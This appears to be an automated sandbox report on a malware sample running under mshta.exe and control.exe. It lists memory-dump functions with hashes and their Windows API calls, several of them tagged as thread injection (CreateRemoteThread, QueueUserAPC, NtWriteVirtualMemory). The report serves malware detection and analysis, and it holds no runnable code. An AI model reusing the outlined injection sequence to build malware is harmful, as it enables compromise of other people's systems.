Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: 2df4e4165d892e3487284e2b95c12e23e841d3685060b651d6ae97f5f5c34d2e
Instruction ID: adf7d34e6aef8f48e09cc8ac8176b97cf7174e6c6add9aef7fa786b80a80f08c
Opcode Fuzzy Hash: 2df4e4165d892e3487284e2b95c12e23e841d3685060b651d6ae97f5f5c34d2e
Instruction Fuzzy Hash: 28E01233405621AB97126FA4AC08C9FBBB9FFD8764705481AF54093114C735D9168FE1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mshta.exe PID: 6484 Parent PID: 3292 mshta.exeCOMMON

Executed Functions

Function 000001B3A44F0FB2, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000003.384235256.000001B3A44F0000.00000010.00000001.sdmp, Offset: 000001B3A44F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31d9662255b7f249616ceadde9cc10f7be338c06862ab3e0198782b9ef533960
Instruction ID: 827259e7b6c3f111ab1ab23dbdcfe92130c3957cb7cfae1e4e9ee9e9b4b920e9
Opcode Fuzzy Hash: 31d9662255b7f249616ceadde9cc10f7be338c06862ab3e0198782b9ef533960
Instruction Fuzzy Hash: 0BB012044AFBC24ED70313730C752AD3F60AB87614FD959C7C095C6093E24C0A9D5332

Uniqueness

Uniqueness Score: -1.00%

Function 000001B3A44F0FC1, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000003.384235256.000001B3A44F0000.00000010.00000001.sdmp, Offset: 000001B3A44F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: b6ddd9efae93afa5920307dadd05156f7300e762ee51a5d65b9466b0c36a9559
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: E09002144D650655D41411A10C552AC644463C8650FE484808466D1144D78D07A61262

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: control.exe PID: 6968 Parent PID: 4360 control.exeCOMMON

Executed Functions

Function 006B67C8, Relevance: 9.4, APIs: 4, Strings: 1, Instructions: 643memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 006B686D

Strings

@, xrefs: 006B6C9B

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: AllocateHeap
String ID: @
API String ID: 1279760036-2766056989
Opcode ID: 26f470dcfe450a4457cfba7d2f65899075e66dc9ef1c0ed3d2ae91bfad5df1cd
Instruction ID: a3e28cb559768f37f3f46ef43616f157c91a5fcc1b30c81fe344d83b4bbee1aa
Opcode Fuzzy Hash: 26f470dcfe450a4457cfba7d2f65899075e66dc9ef1c0ed3d2ae91bfad5df1cd
Instruction Fuzzy Hash: 5B127571718E098FDB69EF28D895AE673E2FB98301F44452DE44AC3251DF38E981CB85

Uniqueness

Uniqueness Score: -1.00%

Function 006B88E0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationToken.NTDLL ref: 006B8994
NtQueryInformationToken.NTDLL ref: 006B89DC
NtClose.NTDLL ref: 006B8A14

Strings

0, xrefs: 006B893F

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: InformationQueryToken$Close
String ID: 0
API String ID: 459398573-4108050209
Opcode ID: 48451d568c0a83509fff3c4b52d235ce67953faecae1a608e8cd1f39b0a2e447
Instruction ID: 6892cf58c5b2e86c5d1bc74a4ca59131315a4830f70914afb4cf45da1593e99c
Opcode Fuzzy Hash: 48451d568c0a83509fff3c4b52d235ce67953faecae1a608e8cd1f39b0a2e447
Instruction Fuzzy Hash: 5F311B302187488FD764EF29D8D4B9AB7E6FBD8311F40892EE58EC3250DB349945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 006BEB10, Relevance: 6.2, APIs: 4, Instructions: 187nativethreadinjectionCOMMON

Download Yara Rule

APIs

NtSetInformationProcess.NTDLL ref: 006BEBB8
CreateRemoteThread.KERNELBASE ref: 006BEC5E
FindCloseChangeNotification.KERNELBASE ref: 006BECB0

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: ChangeCloseCreateFindInformationNotificationProcessRemoteThread
String ID:
API String ID: 1964589409-0
Opcode ID: 298b53d8a8124548d3600df610b41238fc648cad8d79f5e294dbac6bb66f5f41
Instruction ID: 462eef7f04146b8833fb947504290d71e75cfa2ef9499b9d3a7e2068819a7c47
Opcode Fuzzy Hash: 298b53d8a8124548d3600df610b41238fc648cad8d79f5e294dbac6bb66f5f41
Instruction Fuzzy Hash: 0C51B370618B098FD758EF68D8896F677E2EB99301F00442EE94AC3351EF32DD458B91

Uniqueness

Uniqueness Score: -1.00%

Function 006A932C, Relevance: 4.8, APIs: 3, Instructions: 302memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 006A938D
VirtualAlloc.KERNELBASE ref: 006A9494
VirtualFree.KERNELBASE ref: 006A9571

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: Virtual$AllocCreateFreeHeap
String ID:
API String ID: 2341667014-0
Opcode ID: dc20dafe6e30c998cc0452f78ae8166125fa3977d740c554ddd1d991191aa16f
Instruction ID: 863920747a084879cad610552c53a2bce9689df4387b2fac1346deb1dbc5a510
Opcode Fuzzy Hash: dc20dafe6e30c998cc0452f78ae8166125fa3977d740c554ddd1d991191aa16f
Instruction Fuzzy Hash: 85917130618B088FE769EF6898957A673E6FB99310F20452DE58BC3251EF38DC478B51

Uniqueness

Uniqueness Score: -1.00%

Function 006B2A04, Relevance: 4.1, APIs: 2, Instructions: 1130synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexExA.KERNEL32 ref: 006B2AD1
GetUserNameA.ADVAPI32 ref: 006B2CF2

Part of subcall function 006B8D54: CreateThread.KERNELBASE ref: 006B8D84
Part of subcall function 006B8D54: QueueUserAPC.KERNELBASE ref: 006B8D9B

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: CreateUser$MutexNameQueueThread
String ID:
API String ID: 2503873790-0
Opcode ID: adb7b94d7b0d053f6379da7e7f3e5f312587762c016ea9b2f8dfced7ccafc53b
Instruction ID: c8b360253d056f9bcb28831997902e2cde6202a34948228f5211d0ca2a3b65f3
Opcode Fuzzy Hash: adb7b94d7b0d053f6379da7e7f3e5f312587762c016ea9b2f8dfced7ccafc53b
Instruction Fuzzy Hash: 8A72A5B1618A098FE768EF28EC955F977E2F758700710853ED44BC3261DE38D986CB86

Uniqueness

Uniqueness Score: -1.00%

Function 006B7B34, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 214nativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL ref: 006B7CD6

Part of subcall function 006BD748: NtMapViewOfSection.NTDLL ref: 006BD794

Strings

0, xrefs: 006B7CCA

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: Section$CreateView
String ID: 0
API String ID: 1585966358-4108050209
Opcode ID: 2248c03ee1dee7cb74ee137d3a8e90f78b6b066e7192182e1e9a9a9492919af0
Instruction ID: f84022567bed9bc47adee171ceef7dd0e3e84d874c6561f5ffa1aeec4bd9d75c
Opcode Fuzzy Hash: 2248c03ee1dee7cb74ee137d3a8e90f78b6b066e7192182e1e9a9a9492919af0
Instruction Fuzzy Hash: 0F61A3B061CB098FDB54EF28D885AA577E2FFD8311F10456ED84AC7261DB34E841CB86

Uniqueness

Uniqueness Score: -1.00%

Function 006BDE98, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 006BDED5

Strings

@, xrefs: 006BDEB9

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: AllocateMemoryVirtual
String ID: @
API String ID: 2167126740-2766056989
Opcode ID: 0f6d84de010b5ef28e0b462a6a06d0e5590b469bba7efba18c2ca0558c7db7b1
Instruction ID: 81c6ecdf12cfad592d0af8b1fa04b117e9766bbbaef36215f153ed0aee452aca
Opcode Fuzzy Hash: 0f6d84de010b5ef28e0b462a6a06d0e5590b469bba7efba18c2ca0558c7db7b1
Instruction Fuzzy Hash: FEF090B0614B048BDB44DFA8D8CC5A97AE0F75C305F800D6CE11ACF294EB78CA458745

Uniqueness

Uniqueness Score: -1.00%

Function 006D900A, Relevance: 3.3, APIs: 2, Instructions: 333nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 006D927A
NtProtectVirtualMemory.NTDLL ref: 006D9309

Memory Dump Source

Source File: 0000001F.00000002.446138861.00000000006D9000.00000040.00000001.sdmp, Offset: 006D9000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 93affb2466614fe8a75b9e906230f78bf55fa43f56f45aa3a371344e7a914c51
Instruction ID: 614e2ccf02a132615a0323e0c1be4f4d05a41910f6a7f43f10dfc899d7138abe
Opcode Fuzzy Hash: 93affb2466614fe8a75b9e906230f78bf55fa43f56f45aa3a371344e7a914c51
Instruction Fuzzy Hash: EBA1373161CB884FC765DF28CC816AAB7E2FB96300F58496ED0CBC3352D634A9068792

Uniqueness

Uniqueness Score: -1.00%

Function 006D936C, Relevance: 2.7, APIs: 1, Instructions: 1182nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 006D9309

Memory Dump Source

Source File: 0000001F.00000002.446138861.00000000006D9000.00000040.00000001.sdmp, Offset: 006D9000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 27feee33e3e041062199605e5ad868a26674a068da29c4561a2387bb5da69c1c
Instruction ID: 37193c1cf7b4649efc5685c5c57c069de01a5ef47c4aa2c398313245b8f51683
Opcode Fuzzy Hash: 27feee33e3e041062199605e5ad868a26674a068da29c4561a2387bb5da69c1c
Instruction Fuzzy Hash: 0432772168E3D25FD3039BB84CB55A57FB09E57214B0E45EBC8C1CF1A3D249691BE3A2

Uniqueness

Uniqueness Score: -1.00%

Function 006A6104, Relevance: 1.7, APIs: 1, Instructions: 183nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 006A6179

Part of subcall function 006B1920: NtReadVirtualMemory.NTDLL ref: 006B193F

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: InformationMemoryProcessQueryReadVirtual
String ID:
API String ID: 1498878907-0
Opcode ID: 37a402b2165c1522d7e4d9ca936e28de6a86734ff3a02da71af3ae75c946ee16
Instruction ID: 83194e575f78e62dc4cdacfd71a40173c33090802159a59805f70e51d3c82bcf
Opcode Fuzzy Hash: 37a402b2165c1522d7e4d9ca936e28de6a86734ff3a02da71af3ae75c946ee16
Instruction Fuzzy Hash: 65518330218B484BD759FB28D8957E673E6FB99301F44452EB84EC3246DE34DE45CB86

Uniqueness

Uniqueness Score: -1.00%

Function 006A91C0, Relevance: 1.6, APIs: 1, Instructions: 51nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 006A91E6

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 76c9fe931ecd9c2f4c09047b6eb9b24505d550c96fa71bbf984ae8462ea5b896
Instruction ID: a874c6f31ebf1c1ebdfea54b114e77ac718265baeb9c03f24314d0db65bd1017
Opcode Fuzzy Hash: 76c9fe931ecd9c2f4c09047b6eb9b24505d550c96fa71bbf984ae8462ea5b896
Instruction Fuzzy Hash: 4601AD30264A4C9F9B84EF68C8C4A6573E2FBA9305B70046EA40EC3228D638D981CB21

Uniqueness

Uniqueness Score: -1.00%

Function 006BD748, Relevance: 1.5, APIs: 1, Instructions: 46nativeCOMMON

Download Yara Rule

APIs

NtMapViewOfSection.NTDLL ref: 006BD794

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: fcd82b1f9bd2768ab02ed58a59795749d2e6ecb94e6dd7f1d9f4b656cf451d04
Instruction ID: d9e5a2705ccf62df470b78130a06d547fa4da903954957d82faec11612e4b084
Opcode Fuzzy Hash: fcd82b1f9bd2768ab02ed58a59795749d2e6ecb94e6dd7f1d9f4b656cf451d04
Instruction Fuzzy Hash: 5301D6B0A08B048FCB44EF69D0C8569BBE1FB58311B10067FE949CB796DB70D885CB45

Uniqueness

Uniqueness Score: -1.00%

Function 006B1920, Relevance: 1.5, APIs: 1, Instructions: 30nativeCOMMON

Download Yara Rule

APIs

NtReadVirtualMemory.NTDLL ref: 006B193F

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: MemoryReadVirtual
String ID:
API String ID: 2834387570-0
Opcode ID: d22d662f913227b0a11ad9bb788c21af66e842c65e10e900424a476d6f6b9aa4
Instruction ID: ff01d64c201f553edd0e3544ba865abdf43822df9d3a044c76be84f85da4268d
Opcode Fuzzy Hash: d22d662f913227b0a11ad9bb788c21af66e842c65e10e900424a476d6f6b9aa4
Instruction Fuzzy Hash: 55E048747156858FD7006BB498ED2B973D2F789305F50443AE995CB360DA29C8854742

Uniqueness

Uniqueness Score: -1.00%

Function 006BA9D8, Relevance: 1.5, APIs: 1, Instructions: 30nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL ref: 006BA9F7

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 25226bf6a1220be52ddefbd611ec934cd09b391adf12df8a0e44d3c2bc7db9e8
Instruction ID: b726bcf63acf60df21377408a9d70dfc1a640abbf28690a1d7f312913ae7c00b
Opcode Fuzzy Hash: 25226bf6a1220be52ddefbd611ec934cd09b391adf12df8a0e44d3c2bc7db9e8
Instruction Fuzzy Hash: 2AE09A70B15A848BEB046BF59DC82B977E2F788305F50483AE941C7360D629C880C303

Uniqueness

Uniqueness Score: -1.00%

Function 006C281C, Relevance: 6.2, APIs: 4, Instructions: 234threadinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 006B9DA8: FindCloseChangeNotification.KERNELBASE ref: 006B9E54

VirtualProtectEx.KERNELBASE ref: 006C2923
ResumeThread.KERNELBASE ref: 006C2960
SuspendThread.KERNELBASE ref: 006C2983

Part of subcall function 006B67C8: RtlAllocateHeap.NTDLL ref: 006B686D

VirtualProtectEx.KERNELBASE ref: 006C2A00

Part of subcall function 006C936C: VirtualProtectEx.KERNELBASE ref: 006C93C0

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: ProtectVirtual$Thread$AllocateChangeCloseFindHeapNotificationResumeSuspend
String ID:
API String ID: 1287749370-0
Opcode ID: f6aabc1a1c1cd7b06d80beb1f18ba806bee25b55ca08e84ad4570f96c6ceba80
Instruction ID: a333ca3392e375a914662f0b47dee9521e1471b1ece334958394d046ebfac3f5
Opcode Fuzzy Hash: f6aabc1a1c1cd7b06d80beb1f18ba806bee25b55ca08e84ad4570f96c6ceba80
Instruction Fuzzy Hash: 0461B330618B094BD768EB18D895BBA73D6FB89301F50492DE98FC3251DF34D8468B46

Uniqueness

Uniqueness Score: -1.00%

Function 006C6A80, Relevance: 6.1, APIs: 4, Instructions: 146fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 006C6B51
SetFilePointer.KERNELBASE ref: 006C6B6B
ReadFile.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006B6B78), ref: 006C6B8D
FindCloseChangeNotification.KERNELBASE ref: 006C6BA8

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: File$ChangeCloseCreateFindNotificationPointerRead
String ID:
API String ID: 2405668454-0
Opcode ID: f6a0c0183770cd942153d014d44c18fa49014f09076315fdefd9c7fcb82a75d5
Instruction ID: a5d633f6a5bb6da0070bc6cc25ba0380b76a93ced8701a5c3eeaa9e58f35b256
Opcode Fuzzy Hash: f6a0c0183770cd942153d014d44c18fa49014f09076315fdefd9c7fcb82a75d5
Instruction Fuzzy Hash: E641C730218A084FDB58DF28DCC5B6677E2FB88315F24466DE09AC7256DE35D843CB85

Uniqueness

Uniqueness Score: -1.00%

Function 006C5FE4, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136registryCOMMON

Download Yara Rule

APIs

Part of subcall function 006BFD90: RegCreateKeyA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,006A524A), ref: 006BFDB3

RegQueryValueExA.KERNELBASE ref: 006C604D

Strings

(, xrefs: 006C6059
(, xrefs: 006C6095

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: CreateQueryValue
String ID: ($(
API String ID: 2711935003-222463766
Opcode ID: ba6fc72221a63f81700c4d88b0e07c1801cf01b32b2b7b3d7f8945c5633000f1
Instruction ID: a66d5babf10a6f64728e17e8ff4151538f86e4443a1b04e84ad57528433ea197
Opcode Fuzzy Hash: ba6fc72221a63f81700c4d88b0e07c1801cf01b32b2b7b3d7f8945c5633000f1
Instruction Fuzzy Hash: 294160716147488FF308DF18EC99BB673E6F798305F00462DE48AC2261DF789945CB46

Uniqueness

Uniqueness Score: -1.00%

Function 006CABC4, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 311libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 006CAD01

Strings

H, xrefs: 006CABE8

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: H
API String ID: 1029625771-2852464175
Opcode ID: 0cca81e39584043888cd25c48571e8e3bc8ca15252dbc9990089e8932afe6333
Instruction ID: 471654b6c9ee96359598c5df0e90c8e63376ee9b78b2a6f0d93780e51614256c
Opcode Fuzzy Hash: 0cca81e39584043888cd25c48571e8e3bc8ca15252dbc9990089e8932afe6333
Instruction Fuzzy Hash: F8A15130518B4E8FD755DF58D888BB577E2FB98309F04462ED84AC7261EB34E945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 006C94AC, Relevance: 3.2, APIs: 2, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006A7860: VirtualProtect.KERNELBASE ref: 006A7893

VirtualProtect.KERNELBASE ref: 006C95CA
VirtualProtect.KERNELBASE ref: 006C95ED

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1921cd2586a028b25a8036b77e02ce17c9d1998bf3a5edd930e01431ccd2d288
Instruction ID: 2beee8584ad09899983a91e654de3493ef8e02d597004caa49bf2be57986d10f
Opcode Fuzzy Hash: 1921cd2586a028b25a8036b77e02ce17c9d1998bf3a5edd930e01431ccd2d288
Instruction Fuzzy Hash: F5516D70618B098FEB44EF29D889B65B7E1FB98310F50456EE44EC3761DB34E941CB86

Uniqueness

Uniqueness Score: -1.00%

Function 006C7B14, Relevance: 3.2, APIs: 2, Instructions: 151COMMON

Download Yara Rule

APIs

StrRChrA.KERNELBASE ref: 006C7B88
RtlAddVectoredContinueHandler.NTDLL ref: 006C7C7C

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: ContinueHandlerVectored
String ID:
API String ID: 3758255415-0
Opcode ID: 18d41ae510406c2aa3f5cd9704343b8684554a51cac0b4cdfc95542a89724d15
Instruction ID: d9b19b76208716afe85efd7aba306f65eeb6275861a5488291a734c0ec6ac275
Opcode Fuzzy Hash: 18d41ae510406c2aa3f5cd9704343b8684554a51cac0b4cdfc95542a89724d15
Instruction Fuzzy Hash: 0E41F27060CB0A8FE755EF68D8487BA77E3EB98301F04452EA00AC3261DF78C941CB06

Uniqueness

Uniqueness Score: -1.00%

Function 006C771C, Relevance: 3.1, APIs: 2, Instructions: 106registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(?,?,?,?,?,?,00010488,006B5D4E), ref: 006C7776
RegCloseKey.KERNELBASE ref: 006C77EF

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: CloseOpen
String ID:
API String ID: 47109696-0
Opcode ID: c8392054edce987ee03d6aef61d8cd31e716dee179a73bc0aa87cca1ea13d896
Instruction ID: 58c8515b9d08363b4b0cec505184b80a2ce0754c1a4773bc62892d082ee26e40
Opcode Fuzzy Hash: c8392054edce987ee03d6aef61d8cd31e716dee179a73bc0aa87cca1ea13d896
Instruction Fuzzy Hash: E431417171CB4C4FDB54EF68E89496AB7E2FB98300B414A6EE04AC3255DB34D944CB82

Uniqueness

Uniqueness Score: -1.00%

Function 006BA2A8, Relevance: 3.1, APIs: 2, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000017), ref: 006BA2EB
RegQueryValueExA.KERNELBASE ref: 006BA36F

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: affcca2fb792574533dbd820f5295d0e5ab2b03d0ec13bf577f40e93f786530b
Instruction ID: a403536604967b542603228eab4bf40576e074aa179115e87d8431fe4a97b5cf
Opcode Fuzzy Hash: affcca2fb792574533dbd820f5295d0e5ab2b03d0ec13bf577f40e93f786530b
Instruction Fuzzy Hash: 3C31BF7060CB088FDB58EF58D8C96A6B3E1FBA8301F11856EE849C3252DF74D9418B82

Uniqueness

Uniqueness Score: -1.00%

Function 006A5A74, Relevance: 3.1, APIs: 2, Instructions: 96registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNELBASE ref: 006A5AB2
RegCloseKey.KERNELBASE ref: 006A5B1F

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: d1873d7401310501e2bde5c2d81c6681bbbf4664564d41b1add5045be7a6b028
Instruction ID: f45f553930956169a62b8f103d3ce9e0d052e410dcea361ff7b9e9ae08bbfe63
Opcode Fuzzy Hash: d1873d7401310501e2bde5c2d81c6681bbbf4664564d41b1add5045be7a6b028
Instruction Fuzzy Hash: 27213270618F088FE794EF28E85DA2577E1FB98311F21456EE44AC3261EB74DD42CB52

Uniqueness

Uniqueness Score: -1.00%

Function 006BFD90, Relevance: 3.1, APIs: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,006A524A), ref: 006BFDB3
RegOpenKeyA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,006A524A), ref: 006BFDC0

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: CreateOpen
String ID:
API String ID: 436179556-0
Opcode ID: 0a6b3393df12d974064a6205a0f07d4623b7b28886a29dc755b4499000452097
Instruction ID: c5dd2cee612f182ccace8c77e5e0a77f551a5443fce881ddc0a4dfc718d361b2
Opcode Fuzzy Hash: 0a6b3393df12d974064a6205a0f07d4623b7b28886a29dc755b4499000452097
Instruction Fuzzy Hash: 7E01D630618A548FDB44EF5CD488669B7E2FBE8340F00442EE94DC3370DA74C9418742

Uniqueness

Uniqueness Score: -1.00%

Function 006B8D54, Relevance: 3.1, APIs: 2, Instructions: 59threadinjectionCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 006B8D84
QueueUserAPC.KERNELBASE ref: 006B8D9B

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: CreateQueueThreadUser
String ID:
API String ID: 3600083758-0
Opcode ID: d83f503dd7ad0854bda167f6b5bab1ff0cf873ab3ab062394b7bbff50deed0af
Instruction ID: 119eb1ef91e0fa0b43bde4609a08165e6176025e4a6fc1a9445d6b6ad0ee32da
Opcode Fuzzy Hash: d83f503dd7ad0854bda167f6b5bab1ff0cf873ab3ab062394b7bbff50deed0af
Instruction Fuzzy Hash: A1011E31714E088FEB84EF6DD84D76977E2EBA8711B14856AE409C3370DE78DD818B82

Uniqueness

Uniqueness Score: -1.00%

Function 006B957C, Relevance: 1.7, APIs: 1, Instructions: 216memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 006B96C8

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7fdac606e5b30a2debca9d79207369b25236264d15c74a507231e6eefc356042
Instruction ID: ff08f830cf975cedca545609356140c34a8a9441e6fd430a79594c9dcb91d440
Opcode Fuzzy Hash: 7fdac606e5b30a2debca9d79207369b25236264d15c74a507231e6eefc356042
Instruction Fuzzy Hash: B8618570618F099FD794EF18D885AA573E1FF68301B50456EE54AC3261EB34EC81CB96

Uniqueness

Uniqueness Score: -1.00%

Function 006C4C98, Relevance: 1.6, APIs: 1, Instructions: 107processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE ref: 006C4D3C

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f0add3d31b9b9edd2438f073bcae5c8b3a4107068f7d2a63eaec6a958e0884a6
Instruction ID: 27577dd4df8f3fd4dc08dba804db5590d6dcbd62bd005eb212194669c22513e1
Opcode Fuzzy Hash: f0add3d31b9b9edd2438f073bcae5c8b3a4107068f7d2a63eaec6a958e0884a6
Instruction Fuzzy Hash: AB310D7060CB484FEB98EF5C9889A65B7E1FB99311F00466EE84DC3361DE30EC418B86

Uniqueness

Uniqueness Score: -1.00%

Function 006C26E4, Relevance: 1.6, APIs: 1, Instructions: 105COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(?,?,?,?,?,?,00000005,006B3127), ref: 006C27C1

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c71aad2b67f4f02b18d615b2bd6a6d3390ab345fa3d466e01d2c504bc2d2969e
Instruction ID: f78e6e8404da8756e39f582db5f30e0540f7dcc23af3922674b09fafaa83251b
Opcode Fuzzy Hash: c71aad2b67f4f02b18d615b2bd6a6d3390ab345fa3d466e01d2c504bc2d2969e
Instruction Fuzzy Hash: 27311E307146098BEB59EB79ECE5ABA73D3EBD8300704852DA487C3291DF78DC868B55

Uniqueness

Uniqueness Score: -1.00%

Function 006A7770, Relevance: 1.6, APIs: 1, Instructions: 104COMMON

Download Yara Rule

APIs

RtlDeleteBoundaryDescriptor.NTDLL ref: 006A7812

Memory Dump Source

Source File: 0000001F.00000002.446029270.00000000006A1000.00000020.00000001.sdmp, Offset: 006A1000, based on PE: false

Similarity

API ID: BoundaryDeleteDescriptor
String ID:
API String ID: 3203483114-0
Opcode ID: 535f1e190c4ec73a66c697448b92a8086034d070a01d2729812675fef152d989
Instruction ID: b4c2f03a7ab54b9985a778b7ade35e33c8f6fb6822ba538a615afa3431f7cc1c
Opcode Fuzzy Hash: 535f1e190c4ec73a66c697448b92a8086034d070a01d2729812675fef152d989
Instruction Fuzzy Hash: 8E217430718A0C4FDB98EF69989926A73D2E799300B20447DE55FC3251DE28DC87CB82

Uniqueness

Uniqueness Score: -1.00%

